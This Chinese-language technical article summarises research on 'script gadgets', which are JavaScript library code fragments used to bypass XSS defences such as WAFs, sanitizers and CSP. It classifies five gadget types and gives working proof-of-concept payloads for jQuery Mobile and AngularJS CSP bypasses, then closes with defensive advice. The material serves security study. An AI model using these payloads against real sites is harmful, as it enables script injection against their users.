基于Gadgets绕过XSS防御机制
字数 2027 2025-08-26 22:11:22

基于Gadgets绕过XSS防御机制技术详解

0x00 背景与研究概述

本文基于CCS 2018论文《Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets》的研究成果,探讨了在可以注入任意HTML代码的条件下,如何利用JavaScript库中的代码片段(Gadget)来绕过常见的XSS防御机制。

主要针对的防御机制

  1. WAF:正则匹配型或字符匹配型的Web应用防火墙
  2. 浏览器XSS Filter:如Chrome XSS Auditor等内置过滤器
  3. HTML Sanitizers:如DOMPurify等基于DOM解析的XSS过滤器
  4. Content Security Policy(CSP):主要针对启用unsafe-evalstrict-dynamic的情况

0x01 Gadget基本概念与简单示例

Gadget定义

与二进制攻击中的Gadget类似,Web中的Gadget是指JavaScript库中可能被恶意利用的代码片段,这些片段本身功能正常但可被攻击者利用来绕过安全机制。

简单示例

var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");

这段代码从ID为mbutton的元素中获取data-text属性值并设置到innerHTML。攻击者可构造:

<button id="mbutton" data-text="">a</button>

当库代码执行时,恶意代码会被注入到DOM中并执行。

0x02 Gadget分类与原理

论文中将可利用的Gadget分为五类:

1. 字符串操作Gadget

这类Gadget通过对字符串的操作将无害输入转换为危险代码。

示例(来自Polymer库):

dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase())

这段代码将连字符格式的字符串转换为驼峰式,如inner-h-t-m-linnerHTML。攻击者可利用这种转换绕过WAF的字符检测。

2. 元素创建Gadget

直接创建HTML元素或脚本的代码片段。

常见形式

document.createElement(input)
document.createElement("script")
jQuery("<" + tag + ">")
jQuery.html(input)

当输入部分可控时,这些Gadget可被用来创建恶意元素。

3. 函数创建Gadget

动态创建函数的代码段。

示例(来自Underscore.js):

source = "var __t,__p='',__j=Array.prototype.join," + 
         "print=function(){__p+=__j.call(arguments,'');};\n" + 
         source + 'return __p;\n';
var render = new Function(settings.variable || 'obj', '_', source);

这种Gadget通过Function构造函数间接执行攻击者控制的代码。

4. JavaScript代码执行Gadget

直接或间接执行JavaScript代码的片段。

常见形式

eval(input);
inputFunction.apply();
node.innerHTML = "prefix" + input + "suffix";
scriptElement.src = input;
node.appendChild(input);

5. 表达式解析Gadget

前端框架模板引擎中的表达式解析功能。

示例(Aurelia框架):

<div ref=mes.bind="$this.me.ownerDocument.defaultView.alert(1)"></div>

模板引擎解析并执行了恶意绑定的表达式。

0x03 实际绕过案例

案例1:jQuery Mobile Gadget绕过

漏洞代码

if (myId) {
  ui.screen.attr("id", myId + "-screen");
  ui.container.attr("id", myId + "-popup");
  ui.placeholder.attr("id", myId + "-placeholder")
    .html("<!-- placeholder for " + myId + " -->");
}

PoC

<div data-role=popup id='-->&lt;script&gt;alert(1)&lt;/script&gt;'></div>

绕过原理

  1. 使用data-roleid等白名单属性
  2. 不直接包含<script>等敏感字符串
  3. 通过库代码的字符串拼接构造恶意HTML

案例2:AngularJS CSP绕过

PoC

<html>
<head>
  <meta http-equiv=content-security-policy content="object-src 'none';script-src https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js;">
  <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
</head>
<body>
  <div ng-app ng-csp>
    <div ng-focus="x=$event" tabindex=0>foo</div>
    <div ng-repeat="(key, value) in x.view">
      <div ng-if=key=="window"></div>
    </div>
  </div>
</body>
</html>

关键执行点

function defaultHandlerWrapper(element, event, handler) {
  handler.call(element, event);
}

绕过原理

  1. 利用Angular的事件处理机制而非eval
  2. 通过模板表达式间接执行代码
  3. 不违反CSP的script-src限制(未使用unsafe-eval

0x04 Gadget发现方法

1. 手工查找

通过代码审计寻找可能被利用的代码片段,重点关注:

  • 动态代码执行(eval, Function, setTimeout等)
  • DOM操作(innerHTML, appendChild等)
  • 字符串拼接与处理
  • 模板引擎实现

2. 基于污点分析的半自动化查找

基于《25 Million Flows Later - Large-scale Detection of DOM-based XSS》的方法:

  1. 敏感点标记:对evaldocument.writeinnerHTML等敏感调用和属性做标记
  2. 数据流跟踪:跟踪用户可控数据流向这些敏感点的路径
  3. 大规模爬取:爬取Alexa Top 5000网站进行分析
  4. 利用验证:当发现数据流入敏感点时,尝试预置攻击载荷

局限性

  • 仅分析第一级链接
  • 缺乏用户交互模拟
  • 验证时未完全考虑防御机制绕过场景

0x05 防御建议

  1. 输入验证:严格验证所有用户输入,不仅检查恶意模式,还要验证是否符合预期格式
  2. 输出编码:根据输出上下文进行适当的编码
  3. CSP策略
    • 尽量避免使用unsafe-evalstrict-dynamic
    • 限制脚本来源为可信域
  4. 库选择与更新
    • 选择安全性高的库
    • 及时更新到已知漏洞修复的版本
  5. 深度防御
    • 结合多种防御机制
    • 对富文本编辑器等高风险功能实施额外保护

0x06 参考资源

  1. Google Security Research - Script Gadgets
  2. Google Security Blog - Reducing XSS
  3. BlackHat Slides - Don't Trust The DOM
基于Gadgets绕过XSS防御机制技术详解 0x00 背景与研究概述 本文基于CCS 2018论文《Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets》的研究成果,探讨了在可以注入任意HTML代码的条件下,如何利用JavaScript库中的代码片段(Gadget)来绕过常见的XSS防御机制。 主要针对的防御机制 WAF :正则匹配型或字符匹配型的Web应用防火墙 浏览器XSS Filter :如Chrome XSS Auditor等内置过滤器 HTML Sanitizers :如DOMPurify等基于DOM解析的XSS过滤器 Content Security Policy(CSP) :主要针对启用 unsafe-eval 或 strict-dynamic 的情况 0x01 Gadget基本概念与简单示例 Gadget定义 与二进制攻击中的Gadget类似,Web中的Gadget是指JavaScript库中可能被恶意利用的代码片段,这些片段本身功能正常但可被攻击者利用来绕过安全机制。 简单示例 这段代码从ID为 mbutton 的元素中获取 data-text 属性值并设置到 innerHTML 。攻击者可构造: 当库代码执行时,恶意代码会被注入到DOM中并执行。 0x02 Gadget分类与原理 论文中将可利用的Gadget分为五类: 1. 字符串操作Gadget 这类Gadget通过对字符串的操作将无害输入转换为危险代码。 示例 (来自Polymer库): 这段代码将连字符格式的字符串转换为驼峰式,如 inner-h-t-m-l → innerHTML 。攻击者可利用这种转换绕过WAF的字符检测。 2. 元素创建Gadget 直接创建HTML元素或脚本的代码片段。 常见形式 : 当输入部分可控时,这些Gadget可被用来创建恶意元素。 3. 函数创建Gadget 动态创建函数的代码段。 示例 (来自Underscore.js): 这种Gadget通过 Function 构造函数间接执行攻击者控制的代码。 4. JavaScript代码执行Gadget 直接或间接执行JavaScript代码的片段。 常见形式 : 5. 表达式解析Gadget 前端框架模板引擎中的表达式解析功能。 示例 (Aurelia框架): 模板引擎解析并执行了恶意绑定的表达式。 0x03 实际绕过案例 案例1:jQuery Mobile Gadget绕过 漏洞代码 : PoC : 绕过原理 : 使用 data-role 和 id 等白名单属性 不直接包含 <script> 等敏感字符串 通过库代码的字符串拼接构造恶意HTML 案例2:AngularJS CSP绕过 PoC : 关键执行点 : 绕过原理 : 利用Angular的事件处理机制而非 eval 通过模板表达式间接执行代码 不违反CSP的 script-src 限制(未使用 unsafe-eval ) 0x04 Gadget发现方法 1. 手工查找 通过代码审计寻找可能被利用的代码片段,重点关注: 动态代码执行(eval, Function, setTimeout等) DOM操作(innerHTML, appendChild等) 字符串拼接与处理 模板引擎实现 2. 基于污点分析的半自动化查找 基于《25 Million Flows Later - Large-scale Detection of DOM-based XSS》的方法: 敏感点标记 :对 eval 、 document.write 、 innerHTML 等敏感调用和属性做标记 数据流跟踪 :跟踪用户可控数据流向这些敏感点的路径 大规模爬取 :爬取Alexa Top 5000网站进行分析 利用验证 :当发现数据流入敏感点时,尝试预置攻击载荷 局限性 : 仅分析第一级链接 缺乏用户交互模拟 验证时未完全考虑防御机制绕过场景 0x05 防御建议 输入验证 :严格验证所有用户输入,不仅检查恶意模式,还要验证是否符合预期格式 输出编码 :根据输出上下文进行适当的编码 CSP策略 : 尽量避免使用 unsafe-eval 和 strict-dynamic 限制脚本来源为可信域 库选择与更新 : 选择安全性高的库 及时更新到已知漏洞修复的版本 深度防御 : 结合多种防御机制 对富文本编辑器等高风险功能实施额外保护 0x06 参考资源 Google Security Research - Script Gadgets Google Security Blog - Reducing XSS BlackHat Slides - Don't Trust The DOM